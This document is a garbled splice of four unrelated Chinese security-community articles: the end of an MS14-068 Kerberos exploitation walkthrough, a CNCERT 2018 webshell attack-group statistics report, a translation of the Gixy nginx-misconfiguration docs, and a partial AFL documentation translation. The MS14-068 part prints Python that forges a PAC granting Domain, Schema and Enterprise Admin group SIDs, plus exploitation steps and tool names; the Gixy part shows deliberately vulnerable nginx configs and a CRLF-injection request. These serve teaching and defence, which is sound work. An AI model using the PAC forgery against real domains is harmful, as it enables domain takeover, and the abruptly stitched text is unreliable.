cksum [3] Checksum OPTIONAL,
cusec [4] Microseconds,
ctime [5] KerberosTime,
subkey [6] EncryptionKey OPTIONAL,
seq-number [7] UInt32 OPTIONAL,
authorization-data [8] AuthorizationData OPTIONAL
}
其中加密PAC的密钥就放在subkey里面。
大体流程就是KDC拿到APREQ之后，提取里面authenticator的密文，用sessionkey解密获得subkey，再使用subkey解密enc-authorization-data获得PAC.而PAC是我们自己伪造的.
所以最后梳理一下MS14068漏洞利用思路。
1.发起一个 PAPACREQUEST里面选择include_pac 为false。此时生成的TGT票据是不含有PAC的
2.伪造一个PAC。sid为当前用户的sid。将如下组的 sid加进GroupId
* 域用户（513）
* 域管理员（512）
* 架构管理员（518）
* 企业管理员（519）
* 组策略创建者所有者（520）
后续kerberos测试工具会加入制作PAC的功能，现在暂时不支持，我们直接利用pykek的代码来生成下，跟ms14068.py的同一文件夹底下，新建makepac.py,代码如下
from kek.pac import build_pac
from kek.util import gt2epoch
from kek.krb5 import AD_WIN2K_PAC,AuthorizationData,AD_IF_RELEVANT
from pyasn1.codec.der.encoder import encode
if __name__ == '__main__':
user_realm = "0day.org" #改成自己的
user_name = "jack" #改成自己的
user_sid = "S-1-5-21-1812960810-2335050734-3517558805-1133" #改成自己的
# logon_time = gt2epoch(str(as_rep_enc['authtime']))
logon_time = gt2epoch('20191112101422Z')
print(logon_time)
authorization_data = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time))
ad1 = AuthorizationData()
ad1[0] = None
ad1[0]['ad-type'] = authorization_data[0]
ad1[0]['ad-data'] = authorization_data[1]
ad = AuthorizationData()
ad[0] = None
ad[0]['ad-type'] = AD_IF_RELEVANT
ad[0]['ad-data'] = encode(ad1)
data = encode(ad)
with open("jack.pac","wb") as f:
f.write(data)
注意这里的logontime来自于第一步中生成的ASREP的enc_part解密后的的authtime，在工具里面右键复制就行
3.发起一次服务用户是krbtgt的TGSREQ，此时导入的TGT里面是不含有PAC的(在第一步里面选择include=False返回的TGT不含有pac)，然后将我们伪造的PAC是加密放在
enc-authorization-data里面。加密用的key的放在PA-DATA里面的APREQ。此时返回的TGS里面就含有我们伪造的PAC。在之前的文章里面我们说过，在TGS里面，如果请求的服务是krbtgt的话，那么返回的TGS票据是可以当做TGT的。在我们的kerbreos测试工具里面，只需要导入上面makepac.py生成的pac文件。
4.Pass the ticket
这里面使用kerberos 测试工具只是为了理清楚漏洞流程。更为方便的利用请见底下。
## 0x04 部分相关的工具
### kekeo
### impacket
* goldenPac.py
这个工具是结合ms14-068加psexec
### msf
* ms14068kerberos_checksum
msf的这个模块也支持14068攻击利用
### pykek
全称是Python Kerberos Exploitation Kit
应该是ms14068漏洞利用，使用的最广泛的一个，一般常用的ms14068.exe，就是由他打包而成的
先获取sid
拼接成S-1-5-21-866784659-4049716574-3063611777-1104
生成tgt
验证tgt是否具备域管权限 | 社区文章 |
**作者：国家互联网应急中心CNCERT
公众号：<https://mp.weixin.qq.com/s/DPGnInVDCAEbH6jlRd4vbQ>**
**前言**
国家互联网应急中心（以下简称CNCERT/CC）持续对网站攻击进行抽样监测分析。在获取网站服务器权限后，攻击者往往会留有网站后门（webshell），用于持续保持对被攻击网站的权限。也就是说，网站后门的植入、连接操作往往说明攻击者具有长期控制服务器权限的可能性，尤为值得关注。
**CNCERT/CC尝试从攻击源和被攻击端的角度对网站后门连接进行各维度的态势统计分析，进而观察网站攻击的总体态势，并对其中可能存在的“攻击团伙”进行挖掘和刻画，进而以“攻击团伙”的全新视角来观察网站攻击中一些值得关注的有紧密联系的攻击资源集合。**
本报告中的“攻击团伙”指的是通过相对独占的网络资源（例如攻击IP、代理IP、特定攻击工具等），针对相同的目标进行长期或者规模化攻击的网络资源集合。在网站后门攻击事件中，考虑到网站后门的相对独占性，则可以认为是通过攻击IP以及网站后门的连接紧密程度（例如连接关系、连接频繁度等），挖掘而出的攻击IP及其掌握的网站后门链接的集合。通过对挖掘而出的重要团伙进行深入分析，CNCERT/CC发现，这些值得关注的团伙往往由带有一定目的的个人、组织，掌握和使用，通过网站后门持续保持对网站服务器的权限，实现数据窃取、黑帽SEO、网页篡改等可能的黑色产业意图。后续CNCERT/CC将对观测到的部分典型网站攻击团伙进行细致跟踪分析并对外进行陆续发布。
详细分析情况请见报告正文。
## 一、2018年网站攻击统计态势
据CNCERT/CC抽样监测，2018年各月抽样监测发现的网站后门链接个数分布情况如下图所示。可以发现，2018年3-8月期间，监测到的网站攻击活动较为活跃。
图1.1 2018年各月监测发现的网站后门链接个数
2018年抽样监测到的网站后门脚本类型分布如下图所示，其中PHP类型的网站后门数量最多，占66.7%；其次是ASP和JSP脚本类型的网站后门，分别占24.2%、7.3%。
图1.2 2018年监测发现的网站后门按攻击脚本类型分布
网站后门全年统计态势如下图所示。可以看出，每月发起网站后门攻击的IP与受到网站后门攻击的服务器数量基本相近。每月监测发现的网站后门数量与受攻击域名数量基本与攻击IP数/受攻击IP数呈正相关，且具有受攻击域名数量远小于网站后门数量的特点，
**说明网站攻击者倾向于对同一个域名植入多个后门，用于保证持续获取网站权限。**
图1.3 2018年各月的网站攻击态势
### 1.1 攻击源分析
根据CNCERT/CC
2018年全年抽样监测，2018年发起网站后门攻击的IP约有5万多个。分别统计各个攻击IP发起攻击的天数（详见下图）可知，94.5%的攻击IP活跃天数在1-7天内，
**5.5%的攻击IP发起攻击的天数在100天及以上。这些活跃天数较长的惯犯攻击资源值得高度关注。**
图1.4 2018年抽样监测发现攻击IP发起攻击天数分布
IP归属地为境外的2.7万个攻击IP分别属于133个不同的国家/地区，拥有攻击IP数量最多的国家Top
25如下图所示。可知，攻击IP中美国IP占比最多，约占所有境外攻击IP的23.0%；其次是中国香港、俄罗斯、尼日利亚、摩洛哥等境外国家和地区。
图1.5 发起网站攻击的境外国家/地区的攻击IP个数（TOP 25）
根据2018年发起网站攻击的部分境外国家地区的攻击IP数量及其植入掌握的网站后门数量关系可知，大部分国家/地区均倾向于通过少量攻击资源发起大量攻击（即攻击IP数远小于其植入掌握的网站后门数），俄罗斯和尼日利亚例外。此外，美国和中国香港的攻击IP数和掌握的网站后门数量均远高于其他国家/地区。
图1.6 发起网站后门攻击的部分境外国家/地区的攻击IP数与网站后门数
### 1.2 被攻击端分析
根据CNCERT/CC抽样监测显示，2018年受到网站后门攻击的服务器IP共有4.5万个，涉及的被攻击服务器端口约有750个。被攻击服务器端口按涉及网站后门个数的分布如下图所示。其中80端口的服务器被植入的网站后门个数最多，约占全年总网站后门个数的94.6%；其次是8080端口，约占1.4%。
图1.7 被攻击服务器端口按涉及网站后门个数分布
归属地在境内的被攻击服务器IP在我国的31个省市均有分布，按照省份统计受攻击IP数量，北京占比例最大，约20.3%，其次是广东、浙江、山东等地区。
图1.8 境内受到网站攻击的服务器IP数量按省份分布
## 二、2018年挖掘发现的网站“攻击团伙”全年态势
**CNCERT/CC从全年观测视角发现，攻击活跃在10天以上的网站“攻击团伙”有777个，全年活跃的“攻击团伙”13个，“攻击团伙”中使用过的攻击IP大于100的有22个，攻击网站数量超过100的“攻击团伙”有61个。**
### 2.1 全年各月活跃的团伙数量分布
通过分析发现， **2018年全年各月的活跃团伙数量最低位在年初（1月与2月）和年底（12月）**
；上半年在4月份达到顶峰，当月活跃团伙数量达到1049个，在全年总团伙数量中占比26%；下半年在8月份达到顶峰，当月活跃团伙数量达到1083个，在全年总团伙数量中占比27%。
图2.1 各月活跃团伙数量
在全年的团伙态势中，每月的活跃团伙数量和该团伙使用过的攻击IP/掌握的网站后门/攻的击域名/攻击的服务器IP个数均呈现正相关性。
图2.2 每月团伙的攻击资源及攻击目标的分布情况
### 2.2 活跃不同时间的团伙数量分布
从团伙的攻击活跃天数来看，团伙数量符合幂律分布。多数团伙的活跃天数较短，无法形成对被入侵网站服务器的持久化控制；
**少量值得关注的团伙具有长时间持续攻击的特点，持续对其入侵的多个网站服务器实现长期控制。**
图2.3 团伙个数按活跃天数分布
其中，活跃天数小于10天的团伙有3227个，占比80.6%；
**活跃天数在10-100天的攻击团伙732个，占比18.3%；活跃天数大于100的团伙共有45个，占比1%。** 具体如下图所示：
图2.4 不同活跃天数的团伙数量
### 2.3 掌握不同攻击资源规模的团伙数量分布
大部分攻击团伙使用过的攻击资源（攻击IP）较少，这些团伙或者攻击资源可能属于偶发性攻击，对网络空间的影响较少，而占用攻击资源较多的少部分攻击团伙则值得高度关注。
图2.5 不同团伙规模下的团伙数量
### 2.4 进行不同操作的攻击团伙数量分布
在植入后门并对网站进行控制时，“获取目录树”和“读文件”几乎是必然使用到的操作，所以进行过此操作的团伙数量最多。排名第三的“删除文件或目录”多用来隐藏攻击者的入侵痕迹，排名第四的“命令执行”多用来对服务器进行进一步的提权，从此也可以窥见网站攻击者的常见攻击及隐藏手法。
图2.6 攻击团伙数量按进行过网站后门操作类型分布
### 2.5 攻击不同服务器数量的团伙数量分布
下图是攻击不同服务器数量的团伙数量分布，可以看出，大量团伙攻击的服务器数量较少（<=5），但也存在少量值得关注的团伙对大量服务器（>100）进行远程控制。
图2.7 攻击不同服务器IP个数的团伙数量分布
下图是掌握不同网站后门个数的团伙数量分布，可以看出与上图的规律类似，大量团伙掌握的网站后门个数较少，部分值得高度关注的团伙掌握的网站后门数量较多。
图2.8 掌握不同网站后门个数的团伙数量分布
## 三、典型“攻击团伙”概览
在挖掘出各个“攻击团伙”之后，结合对“团伙”行为的监测和跟踪，可对各个团伙的攻击资源、手法、特点进行刻画分析。以下CNCERT/CC从不同维度挑选了三个典型团伙展开简单概述，更加细致的跟踪分析将在后续陆续对外发布。
在此之前CNCERT/CC从攻击资源以及被攻击目标的角度对攻击团伙进行了排名，具体如以下二图所示。根据两幅团伙攻击特点概要图可知，不同团伙的攻击特点具有较大差异。
图3.1 团伙规模（攻击IP个数）Top 10的团伙攻击特点概要图
图3.2 攻击的域名数量Top 10的团伙攻击特点概要图
### 3.1 GC_WEBATTACK_001：全年使用攻击资源最多的团伙
团伙总结：团伙GC_WEBATTACK_001全年使用过的攻击IP数量共6283个，为全年发现团伙中攻击资源最多的团伙，并且持续在全年各月活跃。在该团伙总共活跃的260天内，共攻击了2668个服务器，涉及3425个域名以及4688个网站后门。该团伙主要通过自动化工具对网站进行批量的扫描与控制，攻击IP主要来源于境外。
以下是该攻击团伙的攻击资源和攻击目标拓扑结构。可以看出，其中部分攻击IP所控制的网站后门较多，属于较为活跃的攻击资源。
图3.3 该团伙的攻击资源和攻击目标拓扑结构（受图片大小所限，只展示团伙的主要部分，绿色为攻击IP，紫色为所连接的网站后门）
下图是该攻击团伙在2018年度每月的攻击概况。可以看出，2-5月以及10-12月使用的攻击资源较多，并且攻击的网站服务器较多，其攻击行为较为活跃。
图3.4 该团伙每月攻击资源和攻击目标情况
如下图所示，可以看出该团伙全天的活跃度比较平稳，说明该团伙的攻击自动化程度较高，推测是使用特定工具对目标网站自动植入后门并进行持续连接控制。
图3.5 该团伙的活跃时段分布
该攻击团伙使用的攻击IP数量按境内外分布情况如下图所示，可以看出，该团伙使用的境外IP为主，占到了6283个攻击IP中的80.3%。
图3.6 该团伙使用攻击IP的境内外分布
在6283个攻击IP中，3359个攻击IP为IDC机房IP，超过了一半以上，资源特点较为明显。
### 3.2 GC_WEBATTACK_002：攻击资源集中在境外某国的团伙
团伙总结：GC_WEBATTACK_002使用的攻击IP有319个，全年12个月均有活跃，在其间断活跃的102天内，攻击了174个域名，涉及157个服务器IP，植入和掌握网站后门858个，所攻击的网站类型主要集中在政府事业单位、企业网站、网贷和游戏网站等，种类繁多。该团伙的攻击IP绝大多数来自境外某国。
下图是该攻击团伙的攻击资源和攻击目标拓扑结构，可以看出其中的连接控制关系较为复杂。
图3.7 该团伙的攻击资源和攻击目标拓扑结构（受图片大小所限，只展示团伙的主要部分，绿色为攻击IP，紫色为所连接的网站后门）
该攻击团伙在2018年全年控制的网站数量较为平均，但在2018年5月，7月以及8月所控制的网站后门数量较多，且其中7月和8月使用过的攻击资源较多，具体如下所示。
图3.8 该团伙每月攻击资源和攻击目标情况
从该团伙的活跃时间段可以看出，在每日的凌晨1点，以及9-15点较为活跃。
图3.9 该团伙的活跃时段分布（以中国时区统计）
如下图所示，其攻击IP资源主要集中在境外某国。
图3.10 该团伙的攻击IP所属国家分布
其攻击的服务器IP主要集中在我国境内，按照IP的省份分布来看，主要集中在北京、河南等地。所攻击网站主要集中在政府事业单位、企业网站、网贷和游戏网站等类型。
图3.11 攻击境内网站服务器数量按省份TOP10分布
### 3.3 GC_WEBATTACK_003：某精准针对博彩网站的团伙
团伙总结：GC_WEBATTACK_003的攻击IP数量为61个，通过抽样监测，仅观测到其攻击了6个网站域名。该团伙从2018年1月持续活跃到8月，其中3月份是活跃高峰期。该团伙的主要攻击目标为博彩网站，从其攻击动作来看，其攻击行为主要由窃取用户数据等黑产利益驱动。
图3.12 该团伙的攻击资源和攻击目标拓扑结构（受图片大小所限，只展示团伙的主要部分，绿色为攻击IP，紫色为所连接的网站后门）
从该攻击团伙在1-8月的攻击行为来看，较为平稳。
图3.13 该团伙每月攻击资源和攻击目标情况
观察该团伙在一天24小时内的攻击行为占比，可以发现该攻击团伙从早上10点持续活跃至晚上23点，15点-21点为攻击团伙发起网站后门攻击的高峰期，占全天攻击的80%。同时，活跃峰值在20点左右。
图3.14 该团伙的活跃时段分布
该团伙攻击的目标服务器IP全部分布在中国香港，且全部为博彩网站。该攻击团伙对被攻击网站的操作属于典型的黑产利益驱动行为。
* * * | 社区文章 |
* * *
## 原文地址： <https://github.com/yandex/gixy>
## 概要
Gixy是一个分析Nginx配置的工具。Gixy的主要目标是防止安全性错误配置并自动进行缺陷检测。
目前支持的Python版本为2.7和3.5+。
免责声明：Gixy仅在GNU/Linux上经过良好测试，其他操作系统可能存在一些问题。
目前在Gixy可以找到以下问题：
## [add_header_multiline]多行响应头
您应该避免使用多行响应头，原因如下：
* 它们已被弃用（参见[RFC 7230](https://tools.ietf.org/html/rfc7230#section-3.2.4)）
* 一些HTTP客户端和浏览器从不支持它们（例如 IE/Edge/Nginx）。
### 如何发现
配置错误的示例：
# http://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header
add_header Content-Security-Policy "
default-src: 'none';
script-src data: https://yastatic.net;
style-src data: https://yastatic.net;
img-src data: https://yastatic.net;
font-src data: https://yastatic.net;";
# https://www.nginx.com/resources/wiki/modules/headers_more/
more_set_headers -t 'text/html text/plain'
'X-Foo: Bar multiline';
### 如何解决
唯一的解决方案是永远不要使用多行响应头。
## [add_header_redefinition]通过add_header指令重新定义响应头
不幸的是，许多人不知道指令的继承是如何工作的。大多数情况下，这会导致`add_header`在尝试在嵌套级别添加新响应头时滥用指令。Nginx
[文档](http://nginx.org/en/docs/http/ngx_http_headers_module.html#add_header)中提到了此功能：
> There could be several add_header directives. These directives are inherited
> from the previous level if and only if there are no add_header directives
> defined on the current level.
逻辑非常简单：如果您在一个级别（例如，在`server`部分）设置了响应头，然后在较低的级别`location`（比方说）中设置了其他的响应头，那么第一个响应头将被丢弃。
这很容易检查：
* 配置：
server {
listen 80;
add_header X-Frame-Options "DENY" always;
location / {
return 200 "index";
}
location /new-headers {
# Add special cache control
add_header Cache-Control "no-cache, no-store, max-age=0, must-revalidate"
always;
add_header Pragma "no-cache" always;
return 200 "new-headers";
}
}
* 请求`location /`（`X-Frame-Options`消息头在服务器响应中）：
GET / HTTP/1.0
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 09 Jan 2017 19:28:33 GMT
Content-Type: application/octet-stream
Content-Length: 5
Connection: close
X-Frame-Options: DENY
index
* 请求`location /new-headers`（请求头中有`Cache-Control`和`Pragma`，但没有`X-Frame-Options`）
GET /new-headers HTTP/1.0
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Mon, 09 Jan 2017 19:29:46 GMT
Content-Type: application/octet-stream
Content-Length: 11
Connection: close
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
new-headers
### 如何解决
有几种方法可以解决这个问题：
* 重复重要的协议头
* 将所有协议头设置为同一级别（`server`部分是一个不错的选择）
* 使用[ngx_headers_more](https://www.nginx.com/resources/wiki/modules/headers_more/)模块。
## [alias_traversal]通过配置错误的alias遍历路径
[alias](https://nginx.org/en/docs/http/ngx_http_core_module.html#alias)指令用于替换指定位置的路径。例如，配置如下：
location /i/ {
alias /data/w3/images/;
}
在`/i/top.gif`的请求下，会发送`/data/w3/images/top.gif`文件。
但是，如果location不以目录分隔符（即/）结尾，则：
location /i {
alias /data/w3/images/;
}
在/ i .. / app/config.py的请求下，会发送/ data/w3/app/config.py文件。
换句话说,错误的`alias`配置可以允许攻击者读取存储在目标文件夹之外的文件。
### 如何解决
这很简单：
* 必须找出所有的`alias`指令；
* 确保父前缀位置以目录分隔符结尾。
## [host_spoofing]伪造请求报文的HOST头
通常，位于nginx后面的应用程序需要正确的`Host`头来生成URL（重定向、资源、邮件中的链接等）。欺骗此协议头，可能导致从网络钓鱼到SSRF等各种问题。
> 注意：您的应用程序也可以使用`X-Forwarded-Host`协议头来实现此功能。在这种情况下，您必须确保协议头设置正确;
### 如何发现
大多数情况下它使用`$http_host`变量代替`$host`
而且它们是完全不同的：
* `$host` \- HOST按此优先顺序排列：来自请求行的host名，或来自“Host”请求标头字段的host名，或与请求匹配的服务器名称;
* `$http_host` \- "Host"请求头
配置样例：
location @app {
proxy_set_header Host $http_host;
# Other proxy params
proxy_pass http://backend;
}
### 如何解决
幸运的是，一切都很明显：
* 使用`server name`指令列出正确的服务器名
* 使用`$host`而不是`$http_host`
**附加信息** :
* [Host of Troubles Vulnerabilities](https://hostoftroubles.com/)
* [实用的HTTP Host头攻击](https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html)
## [http_splitting]HTTP Splitting
HTTP Splitting - 使用不正确验证的输入进行攻击。它通常针对位于Nginx（HTTP请求拆分）或其用户（HTTP响应拆分）的Web应用程序。
当攻击者将新行字符\n或\r\n插入到Nginx创建的请求或响应中时，就会创建该漏洞。
### 如何发现
你应该时刻注意：
* 指令和创建请求中的变量（因为它们可能包含CRLF），e.g. `rewrite`, `return`, `add_header`, `proxy_set_header` 或 `proxy_pass`;
* `$uri` 和 `$document_uri`变量，以及使用它们的指令，因为这些变量会包含URL-encoded解码后的值；
* 用于在一定范围内快速匹配的变量，例如（?P<myvar>[^.]+）。
一个在特定范围内进行匹配的变量的配置示例如下：</myvar>
server {
listen 80 default;
location ~ /v1/((?<action>[^.]*)\.json)?$ {
add_header X-Action $action;
return 200 "OK";
}
}
利用点：
GET /v1/see%20below%0d%0ax-crlf-header:injected.json HTTP/1.0
Host: localhost
HTTP/1.1 200 OK
Server: nginx/1.11.10
Date: Mon, 13 Mar 2017 21:21:29 GMT
Content-Type: application/octet-stream
Content-Length: 2
Connection: close
X-Action: see below
x-crlf-header:injected
OK
正如您所看到的，攻击者可以添加响应头`x-crlf-header: injected`，可能的原因是:
* `add_header`不编码或验证输入值
* 路径值在location处理之前规范化;
* `$action`值由特定范围内的正则表达式给定: [^.]*;
* 因此，`$action`的值等于see below下面的`x-crlf-header: injected`,并且在其使用时添加了响应头。
### 如何解决
* 使用安全的变量，例如`$request_uri`代替`$uri`
* 在特定范围内禁止使用新的行符号，使用`/some/(?<action>[^/\s]+)`代替`/some/(?<action>[^/]+`
* 验证`$uri`可能是一个不错的办法（除非你确信你知道你在做什么）。
## [origins]referrer/origin验证问题
使用正则表达式验证`Referer`或`Origin`协议头并不罕见，通常需要设置`X-Frame-Options`协议头（ClickJacking保护）或跨源资源共享。
这种配置中最常见的错误是：
* 正则表达式错误；
* 允许第三方来源；
> 注意：默认情况下，Gixy不会检查第三方来源匹配的正则表达式。您可以使用`--original-domain
> example.com,for.bar`选项传递受信任的域列表
### 如何发现
* 您必须找到负责检查`$http_origin` 或 `$http_referer`的所有`if`指令
* 确保你的正则表达式没问题
错误的配置如下：
if ($http_origin ~* ((^https://www\.yandex\.ru)|(^https://ya\.ru)$)) {
add_header 'Access-Control-Allow-Origin' "$http_origin";
add_header 'Access-Control-Allow-Credentials' 'true';
}
### 如何解决
* 修正你的正则表达式或不使用
* 如果你对`Referer`请求头使用正则表达式验证，可以使用`ngx_http_referer_module`模块
* 有时候，最好使用没有任何正则表达式的`map`指令
## [ssrf]服务器端请求伪造
服务器端请求伪造攻击,迫使服务器执行任意请求(在我们的例子中来自Nginx)。当攻击者控制代理服务器的地址（`proxy_pass`指令的第二个参数），这是可能发生的。
### 如何发现
有两种类型的错误会使服务器容易受到攻击：
* 缺乏[internal](http://nginx.org/en/docs/http/ngx_http_core_module.html#internal)指令。它用于指出仅可用于内部请求的位置;
* 不安全的内部重定向
#### 缺乏internal指令
经典的错误配置是缺乏`internal`指令，这使SSRF成为可能：
location ~ /proxy/(.*)/(.*)/(.*)$ {
proxy_pass $1://$2/$3;
}
攻击者可以完全控制代理地址，这样就可以代表Nginx发送请求。
#### 不安全的内部重定向
假设您在您的配置中有内部位置，并且该位置使用一些请求数据作为代理服务器的地址。
例如：
location ~* ^/internal-proxy/(?<proxy_proto>https?)/(?<proxy_host>.*?)/(?
<proxy_path>.*)$ {
internal;
proxy_pass $proxy_proto://$proxy_host/$proxy_path ;
proxy_set_header Host $proxy_host;
}
根据Nginx文档，内部请求如下：
> * requests redirected by the error_page, index, random_index, and
> try_files directives;
> * requests redirected by the “X-Accel-Redirect” response header field from
> an upstream server;
> * subrequests formed by the “include virtual” command of the
> ngx_http_ssi_module module and by the ngx_http_addition_module module
> directives;
> * requests changed by the rewrite directive
>
因此，任何不安全重写会导致攻击者发起内部请求并控制被代理服务器的地址。
错误的配置如下：
rewrite ^/(.*)/some$ /$1/ last;
location ~* ^/internal-proxy/(?<proxy_proto>https?)/(?<proxy_host>.*?)/(?
<proxy_path>.*)$ {
internal;
proxy_pass $proxy_proto://$proxy_host/$proxy_path ;
proxy_set_header Host $proxy_host;
}
### 如何解决
在编写此类配置时，您应该遵循以下几个规则：
* 只使用“internal locations”进行代理；
* 如果可能，禁止用户传输数据；
* 保护被代理服务器地址：
1. 如果被代理主机的数量有限（当您有S3或smc时），您最好对它们进行硬编码，并用`map`选择或以其他方式进行；
2. 如果您可以列出所有可能的主机代理，您应该对地址进行签名。
## [valid_referers]valid_referers为none
模块[ngx_http_referer_module](http://nginx.org/en/docs/http/ngx_http_referer_module.html)允许阻止对具有错误`Referer`值的请求的服务访问。它通常用于设置`X-Frame-Options header`（点击劫持保护），但可能还有其他情况。
配置该模块的典型问题：
* 使用`server_names`错误的服务器名称（server_name指令）;
* 过于宽泛或不好的正则表达;
* 使用none。
> 注意：目前，Gixy只能检测出none作为有效referer的用法
### 为什么使用none是不好的
根据[文档](http://nginx.org/ru/docs/http/ngx_http_referer_module.html#valid_referers)：
> none-请求头中缺少“Referer”字段；
不过，重要的是要记住，任何资源都可以让用户的浏览器在没有Referer请求头的情况下发起请求。例如：
* 从HTTPS重定向到HTTP的情况;
* 通过设置[Referer策略](https://www.w3.org/TR/referrer-policy/)；
* 不可见的请求，例如 data: scheme
因此，通过使用none作为有效的referer，您就可以取消验证referer。 | 社区文章 |
# AFL源码分析（Ex.1）——附录（Part 1）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0\. 写在前面
此文章主要是对`AFL`仓库中`doc`目录下的所有文档进行翻译。
* [x] env_variables.txt(环境变量手册) —— 本文
* [ ] historical_notes.txt(历史记录)
* [ ] INSTALL(安装说明)
* [x] life_pro_tips.txt(使用技巧) —— 本文
* [ ] notes_for_asan.txt
* [ ] parallel_fuzzing.txt
* [ ] perf_tips.txt
* [ ] QuickStartGuide.txt
* [ ] sister_projects.txt
* [ ] status_screen.txt
* [ ] technical_details.txt
后续附录将继续翻译以上列表中的文章。
## 1\. life_pro_tips.txt(使用技巧)
1. 此文档是为那些了解基础知识但又懒得阅读或记住`AFL` 的所有其他文档的人提供的小建议。
2. 通过使用模糊字典获得更多的有效测试结果。请参阅`dictionaries/README.dictionaries`了解如何操作。
3. 为了充分使用电脑的硬件资源，可以使用`AFL`的并行作业模式(多进程模式)。(详见`docs/parallel_fuzzing.txt`了解如何操作)
4. 通过使用`libdislocator.so`获得更多的有关内存损坏的测试结果。请参阅`libdislocator/README.dislocator`了解如何操作。
5. 如果您想了解`fuzz`器是如何解析输入样本的，请使用`afl-analyze`工具，此工具将通过彩色输出的方式为您展示。
6. 您可以直观的监控`fuzz`测试的进度，请使用`afl-plot`工具，此工具将生成浏览器友好的监控GUI。
7. 您也可以通过编程的方式来监控`fuzz`测试的进度，请使用`afl-whatsup`工具或者直接操作`AFL`输出目录中的`fuzzer_stats`文件。
8. 对`AFL`实时结果中显示为红色或紫色的重要信息感到困惑，请查阅`docs/status_screen.txt`获取进一步解释！
9. 您可以将您的测试目标转换为持续模式以获得巨大的性能提升！请参阅`llvm_mode/README.llvm`中的第`5`部分以获取提示。
10. 如果您使用`clang`语言，查看`llvm_mode/`下的文件以获取`afl-gcc`的更快替代方案！
11. 您知道`AFL`可以对闭源代码、黑/灰盒文件、跨平台/跨架构文件进行模糊测试吗？查看`qemu_mode/README.qemu`了解更多信息。
12. 您知道`afl-fuzz`可以帮您将任何测试用例最小化吗？试试随`AFL`项目提供的`afl-tmin`工具，他能帮您快速获得小型目标文件！
13. 不确定`fuzz`出的导致样例`crash`的输入样本是否可利用？`AFL`可以帮助您解决问题。指定`-C`以启用崩溃探索模式。有关更多信息，请参阅自述文件中的第 10 节。
14. Trouble dealing with a machine uprising? Relax, we’ve all been there.Find essential survival tips at <http://lcamtuf.coredump.cx/prep/>.译者注：此条`Tips`总感觉像是`AFL`项目组开的一个小玩笑，翻译过来是如何应对关于机器毁灭人类的问题，由于此条`Tip`过于无厘头，因此不做翻译，直接附上原文，喜欢科幻的读者可以随便看看(？
15. `AFL`生成的语料库可用于为其他测试过程提供参考。请参阅`README`文件中的第`2`节以获取灵感 – 这往往会产生意料外的结果！
16. 想要自动化的发现不会导致崩溃的内存处理错误？尝试通过`ASAN`、`MSAN`或`Valgrind`运行`AFL`生成的语料库。
17. 正确选择输入文件对于成功的模糊测试工作至关重要。如果需要此方面的专业提示，请参阅自述文件(或`docs/perf_tips.txt`)中的第`5`部分。
18. 您可以手动设置相关选项以提高`AFL`自动化发现堆栈损坏问题的几率，您可以在环境中指定`AFL_HARDEN=1`以启用强化标志。
19. 遇到了不可重现的崩溃问题？此类问题往往会发生，但通常不难诊断。如果您想获得有关提示，请参阅自述文件中的第`7`节。
20. 模糊测试不仅仅可以找到关于代码库中的内存损坏问题。您可以添加一些健全性检查，例如`assert()/abort()` 语句以轻松捕获逻辑错误。
21. 如果你想弄清楚`AFL`是如何真正运作的，查看`docs/technical_details.txt`以了解所有细节！
22. 有大量旨在与`AFL`配合使用的第三方帮助工具！在编写自己的第三方工具之前，请务必查看`docs/sister_projects.txt`。
23. 需要对特定程序的命令行参数进行模糊测试？您可以在`Experiment/argv_fuzzing`中找到一个简单的解决方案。
24. 您的测试目标使用校验和的格式？删除校验和检查代码或使用后处理器！有关更多信息，请参阅`experimental/post_library/`。
25. 处理一个非常缓慢的目标但是希望立即获得结果？调用`afl-fuzz`时指定`-d`！
26.
## 2\. env_variables.txt(环境变量手册)
本文档讨论了`American Fuzzy
Lop`使用的环境变量，这些变量可以帮助高级用户或需要进行某些类型的自定义模糊测试的用户，这些环境变量可以用于影响`fuzz`器的函数行为。有关一般说明手册，请参阅自述文件。
### 2.1. `afl-gcc`、 `afl-clang`、 `afl-as`相关的设置
因为它们不能直接接受命令行选项，所以编译时这三个工具相当广泛地使用了环境变量：
* `AFL_HARDEN`：实际调用下游编译工具时，设置此环境变量将会自动添加代码安全性强化选项。目前包括`-D_FORTIFY_SOURCE=2`和`-fstack-protector-all`。该设置对于捕获不会导致程序崩溃的内存错误很有用，但代价是非常轻微(低于`5%`)的性能损失。译者注：下游编译工具指实际调用的编译工具，例如`afl-gcc`最后实际调用的下游编译工具是`gcc`。
* `AFL_DONT_OPTIMIZE`：默认情况下，`AFL`将附加`-O3`以优化构建。在极少数情况下，这会导致使用`-Werror`构建的程序出现问题。`-O3`可以进行更彻底的代码分析，并且可以产生额外的警告。要禁用优化，请设置此环境变量。译者注：为了使`FORTIFY`生效，必须同时设置`-O2`以上优化，因此，同时设置以上两个环境变量将有可能导致`FORTIFY`机制失效。
* `AFL_USE_ASAN`：设置此环境变量会自动启用`ASAN`机制，前提是编译器支持该功能。请注意，使用`ASAN`进行模糊测试具有一定的挑战性 – 请参阅`notes_for_asan.txt`。(您也可以通过`AFL_USE_MSAN`启用`MSAN`；`ASAN`和`MSAN`具有相同的问题；这两种模式是互斥的。`UBSAN`和其他的检测程序尚未得到官方支持，但很容易手动调试并整合进`AFL`)译者注：`MSAN`、`ASAN`、`UBSAN`均是通过代码插桩等方式进行漏洞检测的选项。
* `AFL_CC`、`AFL_CXX`、`AFL_AS`：设置这些环境变量可让您使用备用的下游编译工具，而不是`$PATH`中的默认`clang`、`gcc`或`as`二进制文件。
* `AFL_PATH`：此环境变量可用于为`afl-gcc`指定一个`afl-as`的备用位置。一种可能的用途是`experimental/clang_asm_normalize/`，这将允许您在编译`clang`代码时通过将规范化器插入链中来检测手写的汇编码。 (`GCC`中没有类似的功能）
* `AFL_INST_RATIO`：将此环境变量设置为`0%`到`100%`之间的百分比可控制检测每个分支的概率。这在处理使输出位图饱和的异常复杂的程序时很有用(尽管这种情况很少)。示例包括`v8`、`ffmpeg`和`perl`。(如果发生这种情况，`afl-fuzz`会通过以火红色显示“位图密度”字段来提前警告您。)将`AFL_INST_RATIO`设置为`0`是一个不错的选择。这将只检测函数入口点之间的转换，而不是单个程序分支。
